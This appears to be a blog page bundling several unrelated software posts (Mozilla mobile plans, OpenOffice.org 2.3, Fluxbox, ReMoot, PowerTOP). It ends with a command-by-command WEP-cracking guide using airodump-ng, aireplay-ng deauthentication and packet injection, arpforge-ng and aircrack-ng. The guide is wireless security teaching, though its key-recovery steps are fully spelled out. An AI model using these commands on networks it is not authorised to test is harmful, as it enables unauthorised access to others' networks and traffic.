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Mozilla: We’re Ready to Rock the Mobile Web Now

Posted on by Posted in applications/software, browsers, Mobility .

Mozilla and Mobile

People ask us all the time about what Mozilla’s going to do about the mobile web, and I’m very excited to announce that we plan to rock it. Here’s some information about what we’re planning to do with hiring, technology, partnerships, and products, and how you can get involved. Short summary: we are serious about bringing the Firefox experience and technology to mobile devices.

Why increase Mozilla’s presence in mobile?

* A large portion of the world accesses the Internet from mobile devices, and this will become increasingly true over time (mobile devices outsell computers 20-1). Each Firefox install is an individual choice by a person to download something that didn’t ship by default on their computer. Why not offer that option for mobile devices?

* Firefox the most popular open-source browser on the planet with > 100 million active users. Bringing Firefox add-ons, the Mozilla platform (including XUL), open source, and a large and passionate community to the closed and fragmented mobile platform will do the world some serious good.

* Firefox and Mozilla give device manufacturers the best of both worlds: shared investment in the core open-source project plus the flexibility they need to customize the browser for their devices.

* You can already get a Mozilla-based browser for the Nokia N800 and Firefox is a key part of Ubuntu Mobile and the new Intel Internet Project, and most recently ARM has put serious effort towards Firefox on mobile devices.

* Through Joey, we’ve seen how the desktop and mobile browsing experiences can be bridged to build a better experience for both. Wouldn’t it be great if your bookmarks, history, extensions, etc. from Firefox on your computer just worked on your phone?

Just what are we announcing?

* Mozilla will add mobile devices to the first class/tier-1 platform set for Mozilla2. This means we will make core platform decisions with mobile devices as first-class citizens.

* We will ship a version of “Mobile Firefox” which can, among other things, run Firefox extensions on mobile devices and allow others to build rich applications via XUL.

* Mozilla will expand its small team of full-time mobile contributors to focus on the technology and application needs of mobile devices. In particular two new folks just joined:

** Christian Sejersen, recently the head of browsers at Openwave which has shipped over 1 billion mobile browsers, joined Mozilla Monday. He’ll be heading up the platform engineering effort and setting up a R&D center in Copenhagen, Denmark.

** Brad Lassey just joined Mozilla from France Telecom R&D. He’s already been an active contributor to our mobile efforts and can now focus on Mozilla mobile full time.

These folks will accelerate the tremendous work already done by Doug Turner, Chris Hofmann and the entire Mozilla community. The efforts in mobile will be magnified by all aspects of our kick-ass community in everything from testing, to UI design, to core engineering. Together we will accelerate the development and use of mobile-ready Mozilla technology.

Why now?

* Getting a no-compromise web experience on devices requires significant memory (>=64MB) as well as significant CPU horsepower. High end devices today are just approaching these requirements and will be commonplace soon For example, the iPhone has 128MB of DRAM and somewhere between a 400 to 600 MHz processor. It is somewhere between 10x-100x slower on scripting benchmarks than a new MacBook Pro and somewhere between 3-5x slower than an old T40 laptop on the same wifi network. But rapid improvements in mobile processors will close this gap within a few years. There are chips out there today that are faster than the one in the iPhone and integrate graphics, cpu, and i/o (wifi/3g/wimax) on one die. Intel has recently re-entered this market which will keep things interesting. Most exciting of all ARM has announced that by 2010 devices will be shipping with a processor 8x faster than what’s in the iPhone!

* The user demand for a full browsing experience on mobile devices is clear. If you weren’t sure about this before you should be after the launch of the iPhone.

* We’ve seen through Mozilla on the Nokia N800 and Minimo that it is possible to build a great experience on devices by using the Mozilla code.

* We are wrapping up work on Gecko 1.9 and there is room post 1.9 to make significant changes to the architecture for improved performance and memory use on devices. Things like reducing the use of XPCOM, unifying memory management under MMgc, and other improvements from Mozilla 2 will make Mozilla a great platform for all devices from mobile phones to your desktop. The use of a single source base gives us the leverage that makes OSS work so well.

Is this the right time?

Absolutely! Up until very recently device limitations required writing new mobile browsers from the ground up. Being able to leverage all the investments in the Mozilla platform across both desktops and devices is the right approach. There is far from a dominant player in this marketplace and even the best mobile browsers today have compromises in user experience, performance, and compatibility. There is still *plenty* of room for innovation.

When?

As mentioned above, Mozilla browsers are already available to N800 users and you can use Joey today to extend your Firefox desktop browsing experience to your phone. We’ll continue to invest in Joey and will work closely with partners who want to ship Mozilla browsers today. Mobile Firefox will arrive later (certainly not before 2008).

What about Minimo?

Minimo was an experiment in mapping the desktop browser experience to a specific mobile context. While we don’t currently plan to develop that project further, it has already provided us with valuable information about how Gecko operates in mobile environments, has helped us reduce footprint, and has given us a platform for initial experimentation in user experience.

Does this mean that Firefox 3 will run on my phone?

No. This project is focused on Mozilla technology that will ship after Firefox 3. We’re at least as excited as you about getting Mozilla’s great web capabilities into your hands, literally, but it’s a big undertaking, and won’t be something that we can wrap up in time for Firefox 3.

What mobile devices will Firefox run on?

We haven’t yet determined what our target platforms will be. If you’re a mobile device or software-stack developer, your insight and support will be very helpful in determining which configurations we can and should support in our initial efforts.

How can I get involved?

Join us on IRC at #mobile, in the newsgroups, or ping me. We need your help!

OpenOffice.org 2.3: New features, extensions and the much anticipated charting tool

Posted on by Posted in applications/software, office suites, open source, review/preview/tests .

Unlike previous 2.x releases, OpenOffice.org 2.3 is a new and enhanced feature release rather than a bug fix. There are several smart changes, a whole new approach to adding new features and of course the much anticipated new charting tool. This is definitely a release to get to know.

I’ll plunge right into what’s new:

  • A bunch of new and enhanced features like restoring the user-defined movement path in Impress and applying better default print settings in Calc. Check the release notes for complete information from OpenOffice.org.
  • A significantly different chart tool.
  • New extensions provided by Sun and other vendors. You will need to run 2.3 for the extensions to work. Read more about the new extensions on the OpenOffice.org web site.

Fluxbox 1.0 Released! Finally!

Posted on by Posted in applications/software, news, system .

Finally after almost four and a half years with 0.9.x release we got to 1.0.0! This release includes a lot of bugfixes, new styles, updated language support, better shaped corners nd much more. Grab it here!

More info about the release here.

What is FluxBox
Fluxbox Fluxbox is a windowmanager for X.
It’s based on the Blackbox 0.61.1 code. Fluxbox looks like blackbox and handles styles, colors, window placement and similar thing exactly like blackbox (100% theme/style compability).

So what’s the difference between fluxbox and blackbox then?
The answer is: LOTS!
Here is a list of features that fluxbox already has, or is in the works…

Features
Implemented:

  • Configurable window tabs. |
  • Iconbar (for minimized/iconified windows) |
  • Wheel scroll changes workspace
  • Configurable titlebar (placement of buttons, new buttons etc) |
  • KDE support |
  • New native integrated keygrabber (supports emacs like keychains)
  • Maximize over slit option
  • Partial GNOME support
  • Extended Window Manager Hints support
  • Slit dockap ordering
  • Other minor features

Control multimedia applications with ReMoot

Posted on by Posted in applications/software, multimedia, open source .

You can manage most of today’s multimedia applications easily with ReMoot, a universal remote control program. ReMoot even provides an esoteric way of controlling your PC remotely from your cell phone or PDA, earning it top geek points.

Start by going to the ReMoot site and clicking on Source Download to get the latest version, 0.4. The software consists of Perl and Ruby scripts. After the quick download completes, open a console, go to the directory where you downloaded everything, and type these commands as root:

tar zxf remoot-0.4.tar.gz
cd remoot-0.4
chmod +x re*
cp remoot* /usr/bin
cp rewww00t* /usr/bin

ReMoot comprises three scripts: the basic remoot script itself, which you use to command the different multimedia applications; remoot-remote, which shows onscreen graphical controls; and rewww00t, which lets you govern your PC via a Web interface. You need Perl to use remoot, and you need Ruby to use rewww00t. If you don’t already have these available, use your favorite package manager to get perl, perl-Tk, and ruby. You’ll also need Advanced Linux Sound Architecture (ALSA), but most distributions already include it, so that shouldn’t be a problem.

Begin by checking that ReMoot is actually working. Open your favorite music program, such as Amarok, and start playing something. From a console, try some commands, such as remoot volup and remoot voldown to turn the volume up or down, or remoot next to advance through the tracks.

Remoot commands Description
remoot voldown Turn the volume down.
remoot play Start playing.
remoot stop Stop playing.
remoot prev Go back to the previous track.

ReMoot supports several different programs, all with the same commands. For example, whether you’re listening to music with Amarok or watching a video with xine or Kaffeine, the remoot stop command will produce the same effect in the player program. As long as you’re running a program known by ReMoot, you’ll get consistent results. This lets you configure the multimedia keys on your keyboard in a single way that will work no matter which program you happen to be using at the time.

Programs known by ReMoot
Amarok Kaffeine Quod Libet
Audacious KsCD Totem
Exaile MPlayer xine

However, some of these programs require tweaks to work properly. Check the ReMoot wiki site if something doesn’t work as expected.

ReMoot can control several programs at the same time. If you pause Amarok, for instance, and then want to start it again, the remoot playpause command won’t start any other programs that might be running but instead will continue with Amarok. If you want to continue with other programs, you have to reactivate them manually before ReMoot will work with them.

If you are more graphically oriented, the remoot-remote program shows a bare-bones window with all available commands. No matter which program is running, you can click on one of these buttons to command the currently playing program. The company promises that a new version will feature icons instead of text.

If you really want to earn a “geek award,” start the rewww00t program (check the name carefully; it usually includes a version number) and navigate to yourOwnURL:14300. You’ll see clickable links that operate on your multimedia. With rewww00t, you could use your cell phone or PDA to connect to your server (though you’d have to open firewall ports and do some other things in order to get this to work) and turn the volume up from anywhere in the world. That may be of little use, but it’s interesting!

Program the multimedia keysWith the scripts installed and working, you can get Linux to perform certain commands whenever you press a multimedia key. Following the instructions in the article “Customize your laptop keyboard with X and KDE,” you should:

  • Open the Control Center.
  • Click on the Regional & Accessibility tab.
  • Pick the Input Actions option.
  • Add a group with the New Group command (give it a name such as Multimedia).

Then, for each key you want to program:

  • Add a new action to the group.
  • Go to the General tab.
  • Fill in the Action Name field.
  • Set the Action Type to Keyboard Shortcut -> Command/URL (Simple).
  • Go to the Keyboard Shortcut tab.
  • Click on the button and then press the Multimedia key (remember, you can use modifiers such as Shift, Alt, and Control).
  • Go to the Command/URL Settings tab.
  • Type in the appropriate command (for example, use remoot volup for the Volume Up key).

That’s all there is to it. ReMoot makes handling multimedia keys both simpler and more powerful.

PowerTOP – Check power consumption on Intel CPU’s

Posted on by Posted in applications/software, desktop & laptop pc, hardware, system .

I came across this little tool, which displays me many interesting information about power consumption on notebooks with an Intel mobile processor.
It will tell you how often the CPU is woken up per second and gives you suggestions on how you can improve it.

You can install it under Gutsy, don’t think it will be possible on a default feisty setup, with
sudo apt-get install powertop
and start with
sudo powertop

Cracking WEP: The ultimate howto guide | wireless security series

Posted on by Posted in guides, how to, security .

##### Preparation #####

1. Download BackTrack (http://www.remote-exploit.org/index.php/BackTrack_Downloads)

2. Install BackTrack to your hd or just boot the live cd (username: root, password: toor; Don’t froget to start the gui: type in startx on the command lien after logging in).

3. Start up a terminal and set your wireless interface in monitor mode.

iwconfig [wireless interface] mode monitor

* to find out what your wireless interface is, type iwconfig and press enter. All interfaces will show up (mine is ath0).

4. Start airodump by typing in the terminal (press enter after typing it in)

airodump-ng –ivs -w capture [wireless interface]

5. When airodump found the network you want to hack it’ll show up. Note the BSSID (acces point’s mac address) and the SSID (the access point’s name). Don’t close this terminal window or stop airodump from running before you have the wep key!

##### Generating data, method one: There are clients visible in airodump associated to the network #####

1. Open a new terminal window and type in (press enter after typing in):

aireplay-ng [wireless interface] –arpreplay -e [the SSID you found with airodump] -b [the BSSID you found wth airodump] -h [the client’s MAC adress]

2. Open another new terminal window and type in (press enter after typing in):

aireplay-ng [wireless interface] –deauth 10 -a [the client’s MAC adress]

3. Wait a long time, aproximatly 10 minutes. You should see the data field in airodump raising. If you have around 500k of data, go to the cracking step of this tutorial.

##### Generating data, method two: There are NO clients visible in airodump associated to the network #####

1. Open a new terminal window and type in (do NOT press the enter button!)

aireplay-ng [wireless interface] –arpreplay -e [the SSID which you found with airodump] -b [the BSSID you found wth airodump] -h 01:02:03:04:05:06

2. Open another new terminal window and type in (do NOT press the enter button!):

aireplay-ng [wireless interface] –fakeauth -e [the SSID which you found with airodump] -a [the BSSID you found wth airodump] -h 01:02:03:04:05:06

3. Press enter in the fakeauth terminal and after it started to fakeauth, press enter as quickly as possible in the arpreplay window.

3. Open another new terminal window and type in (press enter after typing in):

aireplay-ng [wireless interface] –deauth 10 -a 01:02:03:04:05:06

4. Wait a long time, aproximatly 10 minutes. You should see the data field in airodump raising. If you have around 500k of data, go to the cracking step of this tutorial.

##### If the above two methods aren’t working, try this #####

1. Open a new terminal window and type in (press the enter button after typing it in):

aireplay-ng [wireless interface] –fakeauth -e [the SSID which you found with airodump] -a [the BSSID you found wth airodump] -h 01:02:03:04:05:06

2. Open another new terminal window and type in (press the enter button after typing it in):

aireplay-ng [wireless interface] –chopchop -e [the SSID which you found with airodump] -b [the BSSID you found wth airodump] -h 01:02:03:04:05:06

3. The chopchop starts reading packages. When it finds one, it’ll ask you to use it. Choose yes. Wait a few seconds/minutes and remember the filename that is given to you at the end.

4. Open Ethereal (click the icon in the bottom left corner > Backtrack > Sniffers > Ethereal) and open the xor file made with the chopchop attack in Ethereal (it’s located in the home folder)

5. Look with Ethereal in the captured file. Try to find the source ip and the destination ip: write those addresses down somewhere.

6. open a terminal and type in (press enter after typing in):

arpforge-ng [the name of the xor file from the chopchop attack] 1 [the BSSID you found wth airodump] 01:02:03:04:05:06 [the source ip] [the destination ip] arp.cap

7. In a new or in the same terinal window, type in (and press enter):

aireplay-ng -2 ath0 -r arp.cap

5. Wait a long time, aproximatly 10 minutes. You should see the data field in airodump raising. If you have around 500k of data, go to the cracking step of this tutorial.

##### The actual cracking of the WEP key #####

1. Open a new terminal window and type in

airecrack-ng -n 64 capture-01.ivs (for a 64 bits encryption, enter after typing)

or

airecrack-ng -n 128 capture-01.ivs (for a 128 bits encryption, enter after typing)

If you don’t know how strong the encryption is, type in both in different terminals and start a third terminal. Type in this code:

airecrack-ng capture-01.ivs

2. Wait a few minutes. Check the terminal(s). The code will automaticly show up if found. Keep airodump running!

##### Disclaimer #####

I don’t think have to mention that you need written permission from the owner of the network before you are allowed to start cracking his wep or even before you are allowed to capture packages. Just try it with your own network. You’ll learn a lot about it. But never ever try it with another network than your own.

##### Donations #####

I hope you enjoyed reading this guide. I did enjoy writing it, but I really don’t enjoy paying the bills for hosting and bandwidth. Please help me keeping this site up and buy some funny t-shirts from my t-shirt store (the link is on the navigation menu on top of this website).

Thanks.